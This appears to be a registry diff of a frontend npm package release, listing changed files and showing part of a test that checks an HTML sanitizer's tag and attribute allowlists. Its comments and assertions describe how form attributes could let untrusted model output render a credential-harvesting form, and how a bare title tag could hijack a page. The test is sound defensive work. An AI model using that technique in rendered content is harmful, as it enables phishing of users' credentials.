@flamingo-stack/openframe-frontend-core 0.0.508 → 0.0.509
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/chat-protocol/decode.d.ts +58 -0
- package/dist/chat-protocol/decode.d.ts.map +1 -0
- package/dist/chat-protocol/encode.d.ts +44 -0
- package/dist/chat-protocol/encode.d.ts.map +1 -0
- package/dist/chat-protocol/env-flag.d.ts +35 -0
- package/dist/chat-protocol/env-flag.d.ts.map +1 -0
- package/dist/chat-protocol/events.d.ts +216 -0
- package/dist/chat-protocol/events.d.ts.map +1 -0
- package/dist/chat-protocol/frames.d.ts +213 -0
- package/dist/chat-protocol/frames.d.ts.map +1 -0
- package/dist/chat-protocol/index.cjs +506 -0
- package/dist/chat-protocol/index.cjs.map +1 -0
- package/dist/chat-protocol/index.d.ts +18 -0
- package/dist/chat-protocol/index.d.ts.map +1 -0
- package/dist/chat-protocol/index.js +490 -0
- package/dist/chat-protocol/index.js.map +1 -0
- package/dist/chat-protocol/ip-normalize.d.ts +44 -0
- package/dist/chat-protocol/ip-normalize.d.ts.map +1 -0
- package/dist/chat-protocol/nats-decoder.d.ts +26 -0
- package/dist/chat-protocol/nats-decoder.d.ts.map +1 -0
- package/dist/{chunk-3SQ5KXHQ.cjs → chunk-2T4GTV25.cjs} +9 -9
- package/dist/{chunk-3SQ5KXHQ.cjs.map → chunk-2T4GTV25.cjs.map} +1 -1
- package/dist/{chunk-CWAOV2FK.cjs → chunk-3CGZPAGR.cjs} +3 -3
- package/dist/{chunk-CWAOV2FK.cjs.map → chunk-3CGZPAGR.cjs.map} +1 -1
- package/dist/{chunk-TLMJHMXJ.js → chunk-3QSR22IC.js} +12 -12
- package/dist/chunk-3QSR22IC.js.map +1 -0
- package/dist/{chunk-TWYNR4TZ.cjs → chunk-4G5TLHJD.cjs} +7141 -4799
- package/dist/chunk-4G5TLHJD.cjs.map +1 -0
- package/dist/{chunk-ADPMHWOE.js → chunk-72XAID7Y.js} +4 -4
- package/dist/{chunk-PAGKRNWK.js → chunk-7WZHBQ4J.js} +2 -2
- package/dist/{chunk-OCEKO5CW.js → chunk-AEELJC4N.js} +12106 -9764
- package/dist/chunk-AEELJC4N.js.map +1 -0
- package/dist/{chunk-Z42BGM6Q.cjs → chunk-BT2WWDFP.cjs} +5 -5
- package/dist/{chunk-Z42BGM6Q.cjs.map → chunk-BT2WWDFP.cjs.map} +1 -1
- package/dist/{chunk-7LEL3RIX.cjs → chunk-C7OY3PQP.cjs} +11 -11
- package/dist/{chunk-7LEL3RIX.cjs.map → chunk-C7OY3PQP.cjs.map} +1 -1
- package/dist/{chunk-RHGGEKPQ.cjs → chunk-CIOLOQKQ.cjs} +4 -4
- package/dist/{chunk-RHGGEKPQ.cjs.map → chunk-CIOLOQKQ.cjs.map} +1 -1
- package/dist/{chunk-TSZHM74B.js → chunk-DC2TKS7C.js} +2 -2
- package/dist/{chunk-M2GOR3XQ.cjs → chunk-DYPYR7FR.cjs} +87 -87
- package/dist/{chunk-M2GOR3XQ.cjs.map → chunk-DYPYR7FR.cjs.map} +1 -1
- package/dist/{chunk-I64ABCDX.js → chunk-I2B6X77L.js} +2 -2
- package/dist/{chunk-NIZDKTGL.cjs → chunk-K5MSCMDK.cjs} +37 -37
- package/dist/{chunk-NIZDKTGL.cjs.map → chunk-K5MSCMDK.cjs.map} +1 -1
- package/dist/{chunk-DTYRYB2N.js → chunk-K6QTZ7CZ.js} +2 -2
- package/dist/{chunk-4LTMXDUS.js → chunk-KBN7PMFT.js} +2 -2
- package/dist/{chunk-TBMV7I5N.js → chunk-KXZO2WZX.js} +2 -2
- package/dist/{chunk-QTYZMP6D.cjs → chunk-LBAKLT6T.cjs} +62 -62
- package/dist/chunk-LBAKLT6T.cjs.map +1 -0
- package/dist/{chunk-KEBYLU3U.js → chunk-LFUPI7VX.js} +2 -2
- package/dist/{chunk-LDTR4IVZ.cjs → chunk-M37PBG4N.cjs} +31 -31
- package/dist/{chunk-LDTR4IVZ.cjs.map → chunk-M37PBG4N.cjs.map} +1 -1
- package/dist/{chunk-WA7RR64F.js → chunk-PO5O654H.js} +6 -5
- package/dist/chunk-PO5O654H.js.map +1 -0
- package/dist/{chunk-WK4N5VBX.cjs → chunk-QJJISLPA.cjs} +28 -27
- package/dist/chunk-QJJISLPA.cjs.map +1 -0
- package/dist/{chunk-2F44PLTV.cjs → chunk-T7MCSA55.cjs} +26 -26
- package/dist/{chunk-2F44PLTV.cjs.map → chunk-T7MCSA55.cjs.map} +1 -1
- package/dist/{chunk-WJQHJD7J.js → chunk-TWSKTJHW.js} +2 -2
- package/dist/{chunk-ZSQHZYCO.cjs → chunk-UQDMJ6DH.cjs} +13 -13
- package/dist/{chunk-ZSQHZYCO.cjs.map → chunk-UQDMJ6DH.cjs.map} +1 -1
- package/dist/{chunk-TZRUCD56.js → chunk-V3ZAAFE3.js} +5 -5
- package/dist/{chunk-LRGHJPET.js → chunk-XGIFOHKE.js} +2 -2
- package/dist/{chunk-POOMO3PA.cjs → chunk-YQEPRYT5.cjs} +7 -7
- package/dist/{chunk-POOMO3PA.cjs.map → chunk-YQEPRYT5.cjs.map} +1 -1
- package/dist/components/case-studies/index.cjs +8 -8
- package/dist/components/case-studies/index.js +2 -2
- package/dist/components/chat/chat-message-enhanced.d.ts.map +1 -1
- package/dist/components/chat/chat-message-list.d.ts.map +1 -1
- package/dist/components/chat/hooks/index.d.ts +0 -1
- package/dist/components/chat/hooks/index.d.ts.map +1 -1
- package/dist/components/chat/hooks/use-chat.d.ts.map +1 -1
- package/dist/components/chat/hooks/use-chunk-catchup.d.ts.map +1 -1
- package/dist/components/chat/hooks/use-nats-chat-adapter.d.ts +15 -48
- package/dist/components/chat/hooks/use-nats-chat-adapter.d.ts.map +1 -1
- package/dist/components/chat/hooks/use-sse-chat-adapter.d.ts +10 -57
- package/dist/components/chat/hooks/use-sse-chat-adapter.d.ts.map +1 -1
- package/dist/components/chat/index.cjs +10 -2
- package/dist/components/chat/index.cjs.map +1 -1
- package/dist/components/chat/index.d.ts +1 -0
- package/dist/components/chat/index.d.ts.map +1 -1
- package/dist/components/chat/index.js +21 -13
- package/dist/components/chat/stream/chat-dialog-store.d.ts +184 -0
- package/dist/components/chat/stream/chat-dialog-store.d.ts.map +1 -0
- package/dist/components/chat/stream/chat-stream-reducer.d.ts +380 -0
- package/dist/components/chat/stream/chat-stream-reducer.d.ts.map +1 -0
- package/dist/components/chat/stream/delta-batcher.d.ts +51 -0
- package/dist/components/chat/stream/delta-batcher.d.ts.map +1 -0
- package/dist/components/chat/stream/index.d.ts +17 -0
- package/dist/components/chat/stream/index.d.ts.map +1 -0
- package/dist/components/chat/stream/message-mutations.d.ts +77 -0
- package/dist/components/chat/stream/message-mutations.d.ts.map +1 -0
- package/dist/components/chat/stream/use-chat-stream-reducer.d.ts +22 -0
- package/dist/components/chat/stream/use-chat-stream-reducer.d.ts.map +1 -0
- package/dist/components/chat/types/api.types.d.ts +1 -81
- package/dist/components/chat/types/api.types.d.ts.map +1 -1
- package/dist/components/chat/types/processing.types.d.ts +2 -93
- package/dist/components/chat/types/processing.types.d.ts.map +1 -1
- package/dist/components/chat/types/unified-chat-state.types.d.ts +15 -0
- package/dist/components/chat/types/unified-chat-state.types.d.ts.map +1 -1
- package/dist/components/chat/utils/extract-incomplete-message-state.d.ts +34 -6
- package/dist/components/chat/utils/extract-incomplete-message-state.d.ts.map +1 -1
- package/dist/components/chat/utils/history-merge.d.ts.map +1 -1
- package/dist/components/chat/utils/index.d.ts +2 -3
- package/dist/components/chat/utils/index.d.ts.map +1 -1
- package/dist/components/chat/utils/process-historical-messages.d.ts +59 -11
- package/dist/components/chat/utils/process-historical-messages.d.ts.map +1 -1
- package/dist/components/contact/index.cjs +3 -3
- package/dist/components/contact/index.js +2 -2
- package/dist/components/docs/index.cjs +5 -5
- package/dist/components/docs/index.js +4 -4
- package/dist/components/embeds/index.cjs +3 -3
- package/dist/components/embeds/index.js +2 -2
- package/dist/components/faq/index.cjs +3 -3
- package/dist/components/faq/index.js +2 -2
- package/dist/components/features/index.cjs +2 -2
- package/dist/components/features/index.js +1 -1
- package/dist/components/help-center-pages/index.cjs +22 -22
- package/dist/components/help-center-pages/index.js +13 -13
- package/dist/components/index.cjs +174 -132
- package/dist/components/index.cjs.map +1 -1
- package/dist/components/index.js +65 -23
- package/dist/components/index.js.map +1 -1
- package/dist/components/meeting-scheduler/index.cjs +34 -34
- package/dist/components/meeting-scheduler/index.js +3 -3
- package/dist/components/navigation/index.cjs +2 -2
- package/dist/components/navigation/index.js +1 -1
- package/dist/components/onboarding-guides/index.cjs +5 -5
- package/dist/components/onboarding-guides/index.js +4 -4
- package/dist/components/onboarding-guides/onboarding-guide-detail-view.d.ts.map +1 -1
- package/dist/components/related-content/index.cjs +3 -3
- package/dist/components/related-content/index.js +2 -2
- package/dist/components/shared/product-release/release-detail-page.d.ts.map +1 -1
- package/dist/components/tickets/index.cjs +6 -6
- package/dist/components/tickets/index.js +5 -5
- package/dist/components/ui/index.cjs +44 -2
- package/dist/components/ui/index.cjs.map +1 -1
- package/dist/components/ui/index.d.ts +1 -2
- package/dist/components/ui/index.d.ts.map +1 -1
- package/dist/components/ui/index.js +55 -13
- package/dist/components/ui/markdown/base-components.d.ts +51 -0
- package/dist/components/ui/markdown/base-components.d.ts.map +1 -0
- package/dist/components/ui/markdown/engine.d.ts +99 -0
- package/dist/components/ui/markdown/engine.d.ts.map +1 -0
- package/dist/components/ui/markdown/heading-ids.d.ts +65 -0
- package/dist/components/ui/markdown/heading-ids.d.ts.map +1 -0
- package/dist/components/ui/markdown/index.d.ts +18 -0
- package/dist/components/ui/markdown/index.d.ts.map +1 -0
- package/dist/components/ui/markdown/mermaid-diagram.d.ts +79 -0
- package/dist/components/ui/markdown/mermaid-diagram.d.ts.map +1 -0
- package/dist/components/ui/markdown/rich/embed-overrides.d.ts +14 -0
- package/dist/components/ui/markdown/rich/embed-overrides.d.ts.map +1 -0
- package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts +40 -0
- package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts.map +1 -0
- package/dist/components/ui/markdown/rich/shortcodes.d.ts +8 -0
- package/dist/components/ui/markdown/rich/shortcodes.d.ts.map +1 -0
- package/dist/components/ui/markdown/sanitize.d.ts +153 -0
- package/dist/components/ui/markdown/sanitize.d.ts.map +1 -0
- package/dist/components/ui/markdown/simple-markdown-renderer.d.ts +23 -0
- package/dist/components/ui/markdown/simple-markdown-renderer.d.ts.map +1 -0
- package/dist/components/ui/markdown/streaming.d.ts +78 -0
- package/dist/components/ui/markdown/streaming.d.ts.map +1 -0
- package/dist/components/ui/markdown/text-size.d.ts +34 -0
- package/dist/components/ui/markdown/text-size.d.ts.map +1 -0
- package/dist/index.cjs +60 -2
- package/dist/index.cjs.map +1 -1
- package/dist/index.js +71 -13
- package/dist/utils/index.cjs +169 -40
- package/dist/utils/index.cjs.map +1 -1
- package/dist/utils/index.d.ts +1 -0
- package/dist/utils/index.d.ts.map +1 -1
- package/dist/utils/index.js +162 -41
- package/dist/utils/index.js.map +1 -1
- package/dist/utils/markdown-fences.d.ts +42 -0
- package/dist/utils/markdown-fences.d.ts.map +1 -0
- package/dist/utils/markdown-heading-id.d.ts +85 -0
- package/dist/utils/markdown-heading-id.d.ts.map +1 -0
- package/dist/utils/markdown-section-extractor.d.ts.map +1 -1
- package/package.json +7 -1
- package/src/chat-protocol/__tests__/__snapshots__/nats-decoder-golden.test.ts.snap +319 -0
- package/src/chat-protocol/__tests__/chat-protocol.test.ts +516 -0
- package/src/chat-protocol/__tests__/env-flag.test.ts +52 -0
- package/src/chat-protocol/__tests__/ip-normalize.test.ts +136 -0
- package/src/chat-protocol/__tests__/nats-decoder-golden.test.ts +237 -0
- package/src/chat-protocol/decode.ts +278 -0
- package/src/chat-protocol/encode.ts +71 -0
- package/src/chat-protocol/env-flag.ts +39 -0
- package/src/chat-protocol/events.ts +254 -0
- package/src/chat-protocol/frames.ts +245 -0
- package/src/chat-protocol/index.ts +21 -0
- package/src/chat-protocol/ip-normalize.ts +146 -0
- package/src/chat-protocol/nats-decoder.ts +264 -0
- package/src/components/chat/.chat-message-list.md +10 -6
- package/src/components/chat/__tests__/chat-message-list.test.tsx +450 -9
- package/src/components/chat/__tests__/chat-message-streaming-memo.test.tsx +207 -0
- package/src/components/chat/__tests__/chat-pending-turn.test.tsx +250 -0
- package/src/components/chat/chat-message-enhanced.tsx +122 -20
- package/src/components/chat/chat-message-list.tsx +515 -133
- package/src/components/chat/embeddable-chat.tsx +6 -0
- package/src/components/chat/hooks/.index.md +30 -33
- package/src/components/chat/hooks/.use-nats-chat-adapter.md +36 -55
- package/src/components/chat/hooks/__tests__/__snapshots__/conversation-id-persistence-golden.test.ts.snap +37 -0
- package/src/components/chat/hooks/__tests__/__snapshots__/sse-stream-golden.test.ts.snap +0 -0
- package/src/components/chat/hooks/__tests__/chunk-catchup-dialog-staleness.test.ts +92 -0
- package/src/components/chat/hooks/__tests__/conversation-id-persistence-golden.test.ts +438 -0
- package/src/components/chat/hooks/__tests__/sse-stream-golden.test.ts +318 -0
- package/src/components/chat/hooks/index.ts +0 -1
- package/src/components/chat/hooks/use-chat.ts +8 -0
- package/src/components/chat/hooks/use-chunk-catchup.ts +26 -1
- package/src/components/chat/hooks/use-nats-chat-adapter.ts +254 -825
- package/src/components/chat/hooks/use-sse-chat-adapter.ts +380 -684
- package/src/components/chat/index.ts +5 -0
- package/src/components/chat/stream/__tests__/__snapshots__/chat-stream-reducer-golden.test.ts.snap +944 -0
- package/src/components/chat/stream/__tests__/chat-dialog-store.test.ts +806 -0
- package/src/components/chat/stream/__tests__/chat-stream-reducer-golden.test.ts +467 -0
- package/src/components/chat/stream/__tests__/chat-stream-reducer.test.ts +1330 -0
- package/src/components/chat/stream/__tests__/delta-batcher.test.ts +255 -0
- package/src/components/chat/stream/__tests__/use-chat-stream-reducer.test.ts +105 -0
- package/src/components/chat/stream/chat-dialog-store.ts +536 -0
- package/src/components/chat/stream/chat-stream-reducer.ts +1928 -0
- package/src/components/chat/stream/delta-batcher.ts +168 -0
- package/src/components/chat/stream/index.ts +55 -0
- package/src/components/chat/stream/message-mutations.ts +340 -0
- package/src/components/chat/stream/use-chat-stream-reducer.ts +126 -0
- package/src/components/chat/thinking-display.tsx +1 -1
- package/src/components/chat/types/.api.types.md +39 -49
- package/src/components/chat/types/.processing.types.md +29 -58
- package/src/components/chat/types/.unified-chat-state.types.md +2 -2
- package/src/components/chat/types/api.types.ts +6 -73
- package/src/components/chat/types/processing.types.ts +11 -53
- package/src/components/chat/types/unified-chat-state.types.ts +16 -0
- package/src/components/chat/utils/.extract-incomplete-message-state.md +21 -3
- package/src/components/chat/utils/.history-merge.md +44 -3
- package/src/components/chat/utils/.index.md +31 -40
- package/src/components/chat/utils/__tests__/__snapshots__/process-historical-messages-golden.test.ts.snap +420 -0
- package/src/components/chat/utils/__tests__/__snapshots__/segment-accumulator-golden.test.ts.snap +605 -0
- package/src/components/chat/utils/__tests__/extract-incomplete-message-state.test.ts +106 -0
- package/src/components/chat/utils/__tests__/history-merge.test.ts +160 -0
- package/src/components/chat/utils/__tests__/process-historical-messages-approvals.test.ts +61 -0
- package/src/components/chat/utils/__tests__/process-historical-messages-golden.test.ts +394 -0
- package/src/components/chat/utils/__tests__/segment-accumulator-golden.test.ts +270 -0
- package/src/components/chat/utils/extract-incomplete-message-state.ts +93 -6
- package/src/components/chat/utils/history-merge.ts +85 -5
- package/src/components/chat/utils/index.ts +5 -8
- package/src/components/chat/utils/process-historical-messages.ts +361 -385
- package/src/components/onboarding-guides/onboarding-guide-detail-view.tsx +22 -4
- package/src/components/shared/legal-document/legal-document-page.tsx +1 -1
- package/src/components/shared/product-release/release-detail-page.tsx +19 -4
- package/src/components/ui/__tests__/__snapshots__/markdown-parity.test.tsx.snap +2420 -0
- package/src/components/ui/__tests__/markdown-parity.test.tsx +2540 -0
- package/src/components/ui/index.ts +1 -2
- package/src/components/ui/markdown/__tests__/mermaid-security.test.ts +176 -0
- package/src/components/ui/markdown/__tests__/mermaid-stale-render.test.tsx +151 -0
- package/src/components/ui/markdown/__tests__/sanitize-invariant.test.ts +354 -0
- package/src/components/ui/markdown/__tests__/sanitize-render.test.tsx +118 -0
- package/src/components/ui/markdown/__tests__/streaming.test.tsx +436 -0
- package/src/components/ui/markdown/base-components.tsx +360 -0
- package/src/components/ui/markdown/engine.tsx +315 -0
- package/src/components/ui/markdown/heading-ids.ts +239 -0
- package/src/components/ui/markdown/index.ts +49 -0
- package/src/components/ui/markdown/mermaid-diagram.tsx +323 -0
- package/src/components/ui/markdown/rich/embed-overrides.tsx +199 -0
- package/src/components/ui/markdown/rich/rich-markdown-renderer.tsx +184 -0
- package/src/components/ui/markdown/rich/shortcodes.ts +170 -0
- package/src/components/ui/markdown/sanitize.ts +3584 -0
- package/src/components/ui/markdown/simple-markdown-renderer.tsx +28 -0
- package/src/components/ui/markdown/streaming.ts +390 -0
- package/src/components/ui/markdown/text-size.ts +106 -0
- package/src/components/ui/release-changelog-section.tsx +1 -1
- package/src/components/ui/ticket-info-section.tsx +1 -1
- package/src/utils/index.ts +1 -0
- package/src/utils/markdown-fences.ts +127 -0
- package/src/utils/markdown-heading-id.ts +348 -0
- package/src/utils/markdown-section-extractor.ts +41 -56
- package/dist/chunk-OCEKO5CW.js.map +0 -1
- package/dist/chunk-QTYZMP6D.cjs.map +0 -1
- package/dist/chunk-TLMJHMXJ.js.map +0 -1
- package/dist/chunk-TWYNR4TZ.cjs.map +0 -1
- package/dist/chunk-WA7RR64F.js.map +0 -1
- package/dist/chunk-WK4N5VBX.cjs.map +0 -1
- package/dist/components/chat/hooks/use-realtime-chunk-processor.d.ts +0 -6
- package/dist/components/chat/hooks/use-realtime-chunk-processor.d.ts.map +0 -1
- package/dist/components/chat/utils/chunk-parser.d.ts +0 -25
- package/dist/components/chat/utils/chunk-parser.d.ts.map +0 -1
- package/dist/components/ui/rich-markdown-renderer.d.ts +0 -34
- package/dist/components/ui/rich-markdown-renderer.d.ts.map +0 -1
- package/dist/components/ui/simple-markdown-renderer.d.ts +0 -73
- package/dist/components/ui/simple-markdown-renderer.d.ts.map +0 -1
- package/src/components/chat/hooks/.use-realtime-chunk-processor.md +0 -77
- package/src/components/chat/hooks/use-realtime-chunk-processor.ts +0 -489
- package/src/components/chat/utils/.chunk-parser.md +0 -62
- package/src/components/chat/utils/chunk-parser.ts +0 -262
- package/src/components/ui/.simple-markdown-renderer.md +0 -52
- package/src/components/ui/rich-markdown-renderer.tsx +0 -1223
- package/src/components/ui/simple-markdown-renderer.tsx +0 -964
- /package/dist/{chunk-ADPMHWOE.js.map → chunk-72XAID7Y.js.map} +0 -0
- /package/dist/{chunk-PAGKRNWK.js.map → chunk-7WZHBQ4J.js.map} +0 -0
- /package/dist/{chunk-TSZHM74B.js.map → chunk-DC2TKS7C.js.map} +0 -0
- /package/dist/{chunk-I64ABCDX.js.map → chunk-I2B6X77L.js.map} +0 -0
- /package/dist/{chunk-DTYRYB2N.js.map → chunk-K6QTZ7CZ.js.map} +0 -0
- /package/dist/{chunk-4LTMXDUS.js.map → chunk-KBN7PMFT.js.map} +0 -0
- /package/dist/{chunk-TBMV7I5N.js.map → chunk-KXZO2WZX.js.map} +0 -0
- /package/dist/{chunk-KEBYLU3U.js.map → chunk-LFUPI7VX.js.map} +0 -0
- /package/dist/{chunk-WJQHJD7J.js.map → chunk-TWSKTJHW.js.map} +0 -0
- /package/dist/{chunk-TZRUCD56.js.map → chunk-V3ZAAFE3.js.map} +0 -0
- /package/dist/{chunk-LRGHJPET.js.map → chunk-XGIFOHKE.js.map} +0 -0
|
@@ -0,0 +1,354 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Coupled-allowlist invariant (unification plan §D1), BOTH DIRECTIONS:
|
|
3
|
+
* the effective pre-pass tag set and the effective sanitizer tag set are
|
|
4
|
+
* EQUAL (case-insensitively), computed AFTER merging `extraAllowedHtmlTags`
|
|
5
|
+
* into both.
|
|
6
|
+
* - pre-pass ⊆ sanitizer: the pre-pass must never admit a raw tag
|
|
7
|
+
* rehype-sanitize then silently drops.
|
|
8
|
+
* - sanitizer ⊆ pre-pass: the pre-pass must never ESCAPE a tag the
|
|
9
|
+
* sanitizer would keep (the direction that regressed `<strike>` and
|
|
10
|
+
* every other `defaultSchema`-only tag into visible source text).
|
|
11
|
+
*/
|
|
12
|
+
import { describe, it, expect } from 'vitest'
|
|
13
|
+
import { defaultSchema } from 'rehype-sanitize'
|
|
14
|
+
import {
|
|
15
|
+
__buildCloserHaystackForTest,
|
|
16
|
+
buildEffectiveTagSet,
|
|
17
|
+
buildSanitizeSchema,
|
|
18
|
+
escapeUnknownHtmlTags,
|
|
19
|
+
SAFE_HTML_TAGS,
|
|
20
|
+
SVG_TAGS,
|
|
21
|
+
} from '../sanitize'
|
|
22
|
+
|
|
23
|
+
function assertEqualSets(pre: Set<string>, schemaTags: string[]) {
|
|
24
|
+
const sanitizerTags = new Set(schemaTags.map((t) => t.toLowerCase()))
|
|
25
|
+
const escapedButKept = [...sanitizerTags].filter((t) => !pre.has(t))
|
|
26
|
+
const admittedButDropped = [...pre].filter((t) => !sanitizerTags.has(t))
|
|
27
|
+
expect(
|
|
28
|
+
admittedButDropped,
|
|
29
|
+
`pre-pass admits tags the sanitizer would drop: ${admittedButDropped.join(', ')}`,
|
|
30
|
+
).toEqual([])
|
|
31
|
+
expect(
|
|
32
|
+
escapedButKept,
|
|
33
|
+
`pre-pass escapes tags the sanitizer would keep: ${escapedButKept.join(', ')}`,
|
|
34
|
+
).toEqual([])
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
describe('coupled-allowlist invariant', () => {
|
|
38
|
+
it('baseline: pre-pass set === sanitizer tagNames (both directions)', () => {
|
|
39
|
+
assertEqualSets(buildEffectiveTagSet(), buildSanitizeSchema().tagNames)
|
|
40
|
+
})
|
|
41
|
+
|
|
42
|
+
it('with extraAllowedHtmlTags merged into BOTH lists (rich: video/source)', () => {
|
|
43
|
+
const extra = ['video', 'source']
|
|
44
|
+
assertEqualSets(
|
|
45
|
+
buildEffectiveTagSet(extra),
|
|
46
|
+
buildSanitizeSchema({ extraAllowedHtmlTags: extra }).tagNames,
|
|
47
|
+
)
|
|
48
|
+
})
|
|
49
|
+
|
|
50
|
+
it('every defaultSchema tag survives the pre-pass (strike regression)', () => {
|
|
51
|
+
const pre = buildEffectiveTagSet()
|
|
52
|
+
for (const tag of defaultSchema.tagNames ?? []) {
|
|
53
|
+
expect(pre.has(tag.toLowerCase()), `pre-pass must not escape <${tag}>`).toBe(true)
|
|
54
|
+
}
|
|
55
|
+
expect(pre.has('strike')).toBe(true)
|
|
56
|
+
})
|
|
57
|
+
|
|
58
|
+
it('SVG elements are admitted by BOTH the pre-pass and the schema', () => {
|
|
59
|
+
const pre = buildEffectiveTagSet()
|
|
60
|
+
const schema = buildSanitizeSchema()
|
|
61
|
+
for (const tag of SVG_TAGS) {
|
|
62
|
+
expect(pre.has(tag.toLowerCase()), `pre-pass must admit <${tag}>`).toBe(true)
|
|
63
|
+
expect(schema.tagNames, `schema must keep <${tag}>`).toContain(tag)
|
|
64
|
+
}
|
|
65
|
+
})
|
|
66
|
+
|
|
67
|
+
it('SVG geometry/presentation attributes survive the schema', () => {
|
|
68
|
+
const schema = buildSanitizeSchema()
|
|
69
|
+
const svgAttrs = (schema.attributes?.svg ?? []).map((a) => (Array.isArray(a) ? a[0] : a))
|
|
70
|
+
for (const required of ['viewBox', 'xmlns', 'fill']) {
|
|
71
|
+
expect(svgAttrs, `svg must keep '${required}'`).toContain(required)
|
|
72
|
+
}
|
|
73
|
+
const circleAttrs = (schema.attributes?.circle ?? []).map((a) => (Array.isArray(a) ? a[0] : a))
|
|
74
|
+
// Only the camelCase names are load-bearing: property-information
|
|
75
|
+
// normalizes `stroke-width` → `strokeWidth` BEFORE the sanitizer runs, so
|
|
76
|
+
// the dashed spellings never matched anything and are gone.
|
|
77
|
+
for (const required of ['cx', 'cy', 'r', 'strokeWidth']) {
|
|
78
|
+
expect(circleAttrs, `circle must keep '${required}'`).toContain(required)
|
|
79
|
+
}
|
|
80
|
+
expect(circleAttrs, 'dashed spellings are dead weight').not.toContain('stroke-width')
|
|
81
|
+
// The exact hast spellings — a near-miss (`strokeDasharray`) fails
|
|
82
|
+
// silently, so pin the ones real authored SVG uses.
|
|
83
|
+
const textAttrs = (schema.attributes?.text ?? []).map((a) => (Array.isArray(a) ? a[0] : a))
|
|
84
|
+
for (const required of ['fontSize', 'textAnchor', 'dominantBaseline', 'style']) {
|
|
85
|
+
expect(textAttrs, `text must keep '${required}'`).toContain(required)
|
|
86
|
+
}
|
|
87
|
+
const rectAttrs = (schema.attributes?.rect ?? []).map((a) => (Array.isArray(a) ? a[0] : a))
|
|
88
|
+
// `strokeDashArray` — capital A — is CORRECT and verified against the
|
|
89
|
+
// installed `property-information`, which capitalizes the segment AFTER
|
|
90
|
+
// `stroke-`:
|
|
91
|
+
// find(svg, 'stroke-dasharray') -> 'strokeDashArray'
|
|
92
|
+
// find(svg, 'stroke-dashoffset') -> 'strokeDashOffset'
|
|
93
|
+
// find(svg, 'stroke-miterlimit') -> 'strokeMiterLimit'
|
|
94
|
+
// It does NOT follow the DOM/React `strokeDasharray` spelling. Reviewers
|
|
95
|
+
// (human and bot) keep "fixing" this to `strokeDasharray`, which would
|
|
96
|
+
// INTRODUCE the silent near-miss this assertion exists to catch.
|
|
97
|
+
for (const required of ['strokeDashArray', 'fillOpacity', 'style']) {
|
|
98
|
+
expect(rectAttrs, `rect must keep '${required}'`).toContain(required)
|
|
99
|
+
}
|
|
100
|
+
})
|
|
101
|
+
|
|
102
|
+
it('SVG-only tags are pinned to an svg ancestor (bare <title> cannot hijack)', () => {
|
|
103
|
+
const schema = buildSanitizeSchema()
|
|
104
|
+
// `title`/`desc`/`text`/`g`/… are ALSO HTML element names. Unconstrained,
|
|
105
|
+
// a bare `<title>` in a post or a chat message is hoisted into <head> by
|
|
106
|
+
// React 19 (tab + SEO title hijack) and swallows the rest of the document
|
|
107
|
+
// via its RAWTEXT content model.
|
|
108
|
+
for (const tag of ['title', 'desc', 'text', 'g', 'line', 'use', 'symbol', 'marker', 'mask', 'pattern']) {
|
|
109
|
+
expect(schema.ancestors?.[tag], `<${tag}> must require an svg ancestor`).toEqual(['svg'])
|
|
110
|
+
}
|
|
111
|
+
expect(schema.ancestors?.tspan).toEqual(['svg', 'text'])
|
|
112
|
+
// defaultSchema's own table constraints must survive the merge.
|
|
113
|
+
expect(schema.ancestors?.tbody).toEqual(defaultSchema.ancestors?.tbody)
|
|
114
|
+
})
|
|
115
|
+
|
|
116
|
+
it('input carries the GFM tasklist contract WITHOUT coercing authored inputs', () => {
|
|
117
|
+
const schema = buildSanitizeSchema()
|
|
118
|
+
const inputAttrs = schema.attributes?.input ?? []
|
|
119
|
+
const names = inputAttrs.map((a) => (Array.isArray(a) ? a[0] : a))
|
|
120
|
+
// `required.input` is cleared: defaultSchema force-ADDS
|
|
121
|
+
// `type=checkbox disabled` to EVERY input regardless of its attributes,
|
|
122
|
+
// so an authored `<input type="text">` came out a disabled checkbox.
|
|
123
|
+
expect(schema.required?.input).toBeUndefined()
|
|
124
|
+
// The contract now lives in the attribute allowlist: `type` is pinned to
|
|
125
|
+
// the literal `checkbox`, so a text input degrades to a bare `<input>`.
|
|
126
|
+
expect(inputAttrs).toContainEqual(['type', 'checkbox'])
|
|
127
|
+
expect(names).toContain('checked')
|
|
128
|
+
expect(names).toContain('disabled')
|
|
129
|
+
for (const forbidden of ['name', 'value', 'placeholder', 'readOnly']) {
|
|
130
|
+
expect(names, `input must NOT widen '${forbidden}'`).not.toContain(forbidden)
|
|
131
|
+
}
|
|
132
|
+
})
|
|
133
|
+
|
|
134
|
+
/**
|
|
135
|
+
* THE TEST ABOVE IS NOT SUFFICIENT ON ITS OWN, and that gap was live:
|
|
136
|
+
* `hast-util-sanitize` looks a property up in `attributes[tagName]` and, when
|
|
137
|
+
* it is ABSENT there, RETRIES against `attributes['*']`. So a per-tag list
|
|
138
|
+
* only ADDS — asserting that `attributes.input` omits `name` proves nothing
|
|
139
|
+
* about whether `name` SURVIVES on an `<input>`. defaultSchema puts the whole
|
|
140
|
+
* form vocabulary on `*`, so it did: a full cross-origin credential form
|
|
141
|
+
* rendered verbatim on the CHAT surface from untrusted model output.
|
|
142
|
+
*
|
|
143
|
+
* These fixtures assert the EFFECTIVE allowance — what remains on `*` after
|
|
144
|
+
* `buildSanitizeSchema` filters it — so the narrowing cannot be defeated by
|
|
145
|
+
* the fallback again.
|
|
146
|
+
*/
|
|
147
|
+
it('form attributes are narrowed EFFECTIVELY, not just tag-locally', () => {
|
|
148
|
+
const schema = buildSanitizeSchema()
|
|
149
|
+
const star = (schema.attributes?.['*'] ?? []).map((a) => (Array.isArray(a) ? a[0] : a))
|
|
150
|
+
// These are what turn `form` + `input` into a working credential harvester.
|
|
151
|
+
// `form` has no per-tag entry, so `*` is its ONLY source of attributes.
|
|
152
|
+
for (const forbidden of [
|
|
153
|
+
'action', 'method', 'encType', 'name', 'value',
|
|
154
|
+
'size', 'maxLength', 'readOnly', 'accept', 'multiple',
|
|
155
|
+
]) {
|
|
156
|
+
expect(star, `'${forbidden}' must not be allowed on EVERY tag`).not.toContain(forbidden)
|
|
157
|
+
}
|
|
158
|
+
// defaultSchema really did carry them — otherwise this test is vacuous.
|
|
159
|
+
